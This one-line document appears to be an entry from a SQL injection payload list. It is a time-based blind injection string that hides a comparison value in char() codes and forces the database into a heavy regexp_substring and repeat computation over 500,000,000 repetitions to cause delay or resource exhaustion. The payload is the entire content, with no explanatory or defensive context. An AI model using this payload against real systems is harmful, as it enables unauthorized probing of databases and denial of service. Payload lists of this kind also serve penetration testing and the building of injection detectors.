1 or char  (  117  )  ||char  (  111  )  ||char  (  105  )  ||char  (  100  )    =  regexp_substring  (  repeat  (  left  (  crypt_key  (  char  (  65  )  ||char  (  69  )  ||char  (  83  )  ,null  )  ,0  )  ,500000000  )  ,null  )  